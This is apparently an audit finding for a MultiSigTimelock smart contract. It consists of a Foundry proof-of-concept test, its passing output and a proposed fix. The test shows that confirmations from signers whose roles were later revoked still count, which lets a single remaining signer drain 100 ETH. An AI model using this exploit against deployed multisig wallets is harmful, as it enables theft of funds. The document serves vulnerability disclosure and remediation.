pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
contract StaleConfirmationAttackTest is Test {
MultiSigTimelock multiSigTimelock;
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address charlie = makeAddr("charlie");
address diana = makeAddr("diana");
address attacker = makeAddr("attacker");
function setUp() public {
vm.prank(owner);
multiSigTimelock = new MultiSigTimelock();
vm.prank(owner);
multiSigTimelock.grantSigningRole(alice);
vm.prank(owner);
multiSigTimelock.grantSigningRole(bob);
vm.prank(owner);
multiSigTimelock.grantSigningRole(charlie);
vm.prank(owner);
multiSigTimelock.grantSigningRole(diana);
vm.deal(address(multiSigTimelock), 100 ether);
}
function testStaleConfirmationAttack() public {
bytes32 signingRole = multiSigTimelock.getSigningRole();
vm.prank(owner);
uint256 txnId = multiSigTimelock.proposeTransaction(attacker, 100 ether, "");
console2.log("STEP 1: Owner proposes 100 ETH drain to attacker, txnId:", txnId);
vm.prank(alice);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(bob);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(charlie);
multiSigTimelock.confirmTransaction(txnId);
console2.log("STEP 2: Alice, Bob, Charlie confirm -> txn.confirmations = 3");
assertEq(multiSigTimelock.getTransaction(txnId).confirmations, 3, "BEFORE: 3 confirmations recorded");
vm.prank(owner);
multiSigTimelock.revokeSigningRole(alice);
vm.prank(owner);
multiSigTimelock.revokeSigningRole(bob);
console2.log("STEP 3: Owner revokes Alice + Bob -> only Charlie + Diana + Owner remain");
assertFalse(multiSigTimelock.hasRole(signingRole, alice), "Alice: role revoked");
assertFalse(multiSigTimelock.hasRole(signingRole, bob), "Bob: role revoked");
assertTrue(multiSigTimelock.hasRole(signingRole, charlie), "Charlie: role intact");
vm.warp(block.timestamp + 7 days + 1);
uint256 attackerBefore = attacker.balance;
uint256 contractBefore = address(multiSigTimelock).balance;
vm.prank(charlie);
multiSigTimelock.executeTransaction(txnId);
assertEq(address(multiSigTimelock).balance, contractBefore - 100 ether, "Contract: 100 ETH drained");
assertEq(attacker.balance, attackerBefore + 100 ether, "Attacker: receives 100 ETH");
console2.log("STEP 6: Charlie executes -> 100 ETH DRAINED despite only 1 active signer!");
console2.log(" PROOF: txn.confirmations=3 trusted, no role revalidation");
console2.log(" IMPACT: 3-of-5 -> effectively 1-of-N after targeted revocation");
}
}
forge test --match-test testStaleConfirmationAttack -vvv
[⠢] Compiling...
No files changed, compilation skipped
Ran 1 test for test/testStaleConfirmationAttack.sol:StaleConfirmationAttackTest
[PASS] testStaleConfirmationAttack() (gas: 350635)
Logs:
STEP 1: Owner proposes 100 ETH drain to attacker, txnId: 0
STEP 2: Alice, Bob, Charlie confirm -> txn.confirmations = 3
STEP 3: Owner revokes Alice + Bob -> only Charlie + Diana + Owner remain
STEP 6: Charlie executes -> 100 ETH DRAINED despite only 1 active signer!
PROOF: txn.confirmations=3 trusted, no role revalidation
IMPACT: 3-of-5 -> effectively 1-of-N after targeted revocation
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 808.16µs (189.57µs CPU time)
Ran 1 test suite in 6.90ms (808.16µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
// - remove this code
mapping(uint256 => mapping(address => bool)) private s_signatures;
mapping(uint256 => uint256) private s_confirmations; // Remove raw counter
// + add this code
mapping(uint256 => address[]) private s_confirmingSigners; // Track actual signers
function confirmTransaction(uint256 txnId) internal {
// ... existing checks ...
s_confirmingSigners[txnId].push(msg.sender); // Track who confirmed
emit TransactionConfirmed(txnId, msg.sender);
}
function executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
// Revalidate current active confirmations
uint256 validConfirmations = 0;
for (uint256 i = 0; i < s_confirmingSigners[txnId].length; i++) {
if (hasRole(SIGNING_ROLE, s_confirmingSigners[txnId][i])) {
validConfirmations++;
}
}
if (validConfirmations < REQUIRED_CONFIRMATIONS) {
revert MultiSigTimelockInsufficientConfirmations(REQUIRED_CONFIRMATIONS, validConfirmations);
}
// ... rest of execution
}